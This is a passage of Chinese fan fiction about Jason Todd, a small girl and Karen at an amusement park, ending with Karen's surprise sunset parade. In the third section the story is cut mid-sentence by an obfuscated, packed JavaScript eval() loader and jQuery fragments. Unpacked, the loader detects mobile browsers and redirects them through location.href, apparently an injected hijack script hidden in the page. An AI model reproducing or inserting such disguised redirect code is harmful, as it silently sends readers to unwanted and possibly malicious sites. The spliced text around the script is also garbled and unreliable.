1
下午四点半，卡伦开始变得神神秘秘的。
他一直在看手机，每隔两三分钟就掏出来看一眼，看完又塞回去，塞回去没走两步又掏出来。
小女孩攥着他的衣角，仰着头看了他好几次。
“妈妈在等谁的电话吗？”
“没有。”
“那妈妈为什么一直看手机？”
卡伦把手机塞回口袋。“在等时间。”
小女孩想了想。“时间会打电话吗？”
卡伦笑了一下。“不会，但到了时间，会有东西出现。”
“什么东西？”
“秘密。”
小女孩的眼睛亮了一下。
她喜欢秘密。
她攥着卡伦的衣角，脚步快了一点。
杰森走在旁边，双手插在口袋里，看着卡伦又一次掏出手机又塞回去。他没问。卡伦想搞什么花样是他的事。
但卡伦第三次掏出手机的时候，他看了一眼屏幕——一个订票页面，上面写着“落日摩天轮·VIP包厢·烟花秀预留位”。
杰森把目光移开了，他不想知道花了多少钱。
五点钟的时候，卡伦停下来。
“你带她玩一会儿。”他对杰森说。
杰森看着他。
“我去办点事。”卡伦说。
他的表情很平静，但耳朵尖有一点红。杰森认识他这么久，知道这个人只有在心虚的时候耳朵才会红。
什么？害羞的时候也会？那就不关他的事了，反正他也没见过。
“什么事？”
“小事。”
“什么小事？”
卡伦没回答。他蹲下来，和小女孩平视。“妈妈离开一下，你和爸爸玩一会儿，好不好？”
小女孩攥着他的衣角，没松手。
“很快。”卡伦说，“等你再看见妈妈的时候，会有惊喜。”
小女孩想了想。“比棉花糖还惊喜？”
“比棉花糖还惊喜。”
她松开手了。
卡伦站起来，看了杰森一眼。
“往摩天轮那边走，别太远。”
然后他转身走了。很快，消失在人群里。
杰森站在原地，看着他的背影。他走路的姿势有点急，像赶着去做什么见不得人的事。
杰森把目光收回来，低头看着小女孩。“走吧。”
“妈妈去哪了？”
“办点事。”
“什么事？”
“不知道。”
小女孩点了点头，没再追问，她攥着杰森的衣角，跟着他往摩天轮的方向走。
走了两步，她又开口了。“爸爸，妈妈是不是不喜欢我了？”
杰森低头看她。她没看他，低着头，手指在他的衣角上绕来绕去。
“为什么这么问？”
“因为妈妈走了。”
“他很快会回来的。”
“真的吗？”
“真的。”
小女孩的手指松了一下，又攥紧了。她抬起头，暗红色的眼睛看着他。“爸爸，你会不会也走？”
杰森看着那双暗红色的眼睛。很奇怪，现在那双眼睛已经没有了诡异的，像凝固的血液般的渗人感觉，反而像哥谭深秋傍晚最后一缕被云层压住的光。
“不会。”杰森说。
小女孩没说话。她低下头，继续攥着他的衣角，跟着他往前走。
杰森放慢了脚步。他想起自己小时候，在犯罪巷，也这样攥过别人的衣角。Catherine的，Willis的。每一次他都想问“你会不会走”，但每一次都没问。因为如果问了，而他们说“会”，那就连最后一点假装的安全感都没有了。
这个问题对于犯罪巷的孩子来说，有些软弱，又有些残忍了。
她问了，他说不会。
他不知道这算不算撒谎，但他知道她信了，脚步重新轻快起来。
———
2
杰森带着小女孩在摩天轮附近转了一圈。
她坐了两次旋转茶杯，晕得走路歪歪扭扭的，但死活不肯下来。杰森把她从茶杯里抱出来的时候，她抱着他的脖子，把脸埋在他的肩膀里。
“爸爸，那个杯子为什么一直在转？”
“因为你让它转的。”
“我没有让它转。”
“你转了方向盘。”
“那是方向盘吗？我以为那是糖。”
杰森把她放下来。她的脸还是红的，头发更湿了，贴在额头上。但她不肯休息。她看见了一个卖发光气球的小贩，指着那个粉色的、里面有一朵玫瑰的、飘在半空中的气球，嘴张着。
“爸爸。”
“买。”
杰森走过去，买了那个粉色的。小贩把绳子递给他，看了他一眼，又看了一眼他身后的小女孩，又看了一眼他。
“先生，您女儿真可爱。”
杰森没说话。
他接过绳子，转身递给小女孩。
小女孩接过绳子，把气球拉到面前，鼻子贴着那朵玫瑰。她的呼吸让气球晃了一下，里面的玫瑰也跟着晃了一下。她的嘴角翘起来。
“爸爸，它在动。”
“嗯。”
“它是活的吗？”
“不是，是风。”
“风从哪里来的？”
“从你鼻子里。”
小女孩把鼻子从气球上移开，抿着嘴，不让自己呼吸。憋了大概五秒，憋不住了，呼了一口气。气球又晃了一下，她笑得更开心了。
她攥着气球绳子，走在杰森旁边。粉色气球在她头顶飘着，像一朵被拴住的花。
杰森走在她旁边，双手插在口袋里，看着那颗气球。
他觉得自己的脖子有点酸。
他不知道为什么，想把这一幕留下来，但他没拿出手机。他站在那儿，看着那个小女孩和她头顶的气球，把这一幕收进脑子里了。
他不知道自己为什么要这么做，他只知道以后可能会想她，尽管他们才多了相处了一天多。
可能是会想这条黄裙子，这些湿漉漉的头发，这朵粉色的玫瑰。
或者今天明媚的，温暖的冬日阳光。
她走了之后，他还会记得。
杰森把目光移开，看着远处的摩天轮。太阳已经很低了，挂在摩天轮后面，把整个轮子染成橘红色。
卡伦说别走太远，他就在这儿等。
———
3
六点，太阳快要落山了。
摩天轮下面的广场上聚了很多人，都在等落日时段的摩天轮。杰森带着小女孩站在人群外面，她攥着他的衣角，踮着脚往摩天轮的方向看。
但她太矮了，什么也看不见。
杰森把她抱起来，让她坐在他肩膀上。她很轻，比一颗苹果还轻，这个重量让杰森想起了曾经坐在这里的那只猫咪。
“爸爸，那个大轮子在转。”
“嗯。”
“好大。”
“嗯。”
“妈妈在上面吗？”
杰森愣了一下。他抬头看摩天轮。每个包厢都是透明的，阳光照在玻璃上，反着光，看不清里面。
“不清楚。”杰森说。
小女孩不说话了。她坐在他肩膀上，攥着他的头发，看着那个大轮子。
太阳又落了一点，摩天轮的影子拉得很长，从广场一直延伸到湖边。人群在往前移动，摩天轮在转，落日的光从金色变成橘色，从橘色变成粉色，从粉色变成紫色。
然后音乐响了。
不是摩天轮的音乐。是别的什么，乐队。
杰森往声音的方向看过去。
广场的另一头，一辆花车正慢慢开过来。很大的花车，上面铺满了花——红的，黄的，粉的，紫的，白的，挤在一起，像一整座被搬过来的花园。
花车最前面站着一个指挥，背对着人群，面朝着乐队。他穿着一身白色的西装，在落日的光里亮得有点刺眼。
杰森眯起眼睛。那个背影——浅色卫衣不见了，猫耳朵帽子不见了，工装裤和短靴都不见了。那个人穿着一身剪裁合身的白色西装，头发比早上更长了一点，披在肩膀上，被风吹起来几缕。
他的手里拿着一根指挥棒——很细，银白色，在落日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444127|201073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的光里一闪一闪的。他的腰挺得很直，头微微仰着，看着前面的乐队。
杰森没认出来。
他认识的那个人，平时穿黑色高领内搭和休闲裤，总之，总是一身暗沉沉的颜色。头发乱糟糟的，坐在诊台后面给老太太量血压。
那个人不是这样的，那个人是——他不知道该叫什么。
花车上的那个人，白色的西装，银色的指挥棒，长头发被风吹起来，站在落日底下，像一个魔法师。
是那种你在故事里听过、在梦里见过、醒来之后觉得世界上不可能有、但此刻他就站在你面前的魔法师。
旁边有人欢呼起来。“是今天的特别演出！”
“游乐园三十周年庆典！”
“听说请了很有名的乐团——”
杰森站在人群中间，肩膀上坐着一个小孩，手里攥着一个气球。周围的人都在欢呼，都在鼓掌，都在举着手机拍。这是一个盛大的、精心策划的、属于所有人的庆典。
卡伦只是其中的一部分，他是这场演出的一部分。和花车、和乐队、和鸽子、和落日一样，是游乐园送给所有人的礼物。
杰森这样告诉自己。
他抬起头，看着那个人举起指挥棒。
银白色的光从棒尖炸开，像一朵被点燃的烟花。然后那些光散成无数细丝，往天上飞，往四面八方飞。
成百上千只鸽子从花车后面飞起来，扑棱棱地冲向天空。它们的翅膀上沾着卡伦的光，在落日里一闪一闪的。
人群在尖叫，在欢呼，在鼓掌。鸽子从人们头顶飞过去，翅膀几乎擦着头发。
它们嘴里叼着花，红的，黄的，粉的，紫的，白的。玫瑰，雏菊，满天星，不知名的小野花。鸽子把花扔下来，扔在人们的肩膀上，扔在孩子们的头顶上，扔在情侣交握的手上。广场上像下了一场花雨。
杰森站在人群中间，仰着头。一朵粉色的玫瑰从他头顶飘过去，他没有接。
他看见卡伦站在花车上，白色的西装，银色的指挥棒，长头发被风吹起来，脸上挂着十分陌生的，意气风发的笑容，但却十分适合出现在那张年轻的脸上。
一只鸽子停在他肩膀上，又一只停在他手臂上，他就站在那里，被鸽子围着，在夕阳的照耀下，仿佛天生该待在舞台的中心。周围的人在欢呼，在鼓掌，在尖叫。
杰森也在人群中，他也仰着头，他也看着那个人。但他的心跳很快。和周围数百人的心跳几乎同频。
在这个盛大的、热烈的、所有人都沉浸其中的时刻。
是因为这个场景太梦幻了，是因为鸽子飞得太美了，是因为落日太漂亮了，是因为音乐太好听了。是因为整个广场上的人都在欢呼，他不可能不被感染。和周围的人一样，被这个精心策划的、盛大的、美丽的时刻感动了。就是这样。
杰森站在人群中间，听着自己的心跳，和周围的欢呼声一个节奏。
他把那个节奏归给了音乐，归给了鸽子，归给了落日，归给了这个不属于任何人的、盛大而浪漫的时刻。
最后一朵花从天上落下来。
一朵香槟玫瑰，旋转着，花瓣在风里微微颤动。它像是正好被风裹挟着，在他面前打转，但他还是没有接。
旁边一个年轻女孩伸手接住了，举起来给她男朋友看，两个人笑着抱在一起。
杰森看着他们，把空着的手插进口袋里。他低下头，看见小女孩从他肩膀上探出头来，看着那个女孩手里的玫瑰。
“爸爸，好漂亮。”
“嗯。”
“妈妈好厉害。”
“嗯。”
小女孩把脸贴在他的头顶上。她的手指还插在他的头发里，攥着他的发根。
她轻声说：“我喜欢妈妈。”
杰森没说话。他抬起头，看着花车。卡伦已经不在上面了。鸽子也飞走了，花车开始往前开，乐队又开始奏下一首曲子。人群跟着花车往前走。
杰森站在原地，他的心跳已经慢下来了，和周围的人群一起，慢慢地、慢慢地，恢复了正常。
他松了一口气。然后他往摩天轮的方向走去。
卡伦在入口处等着。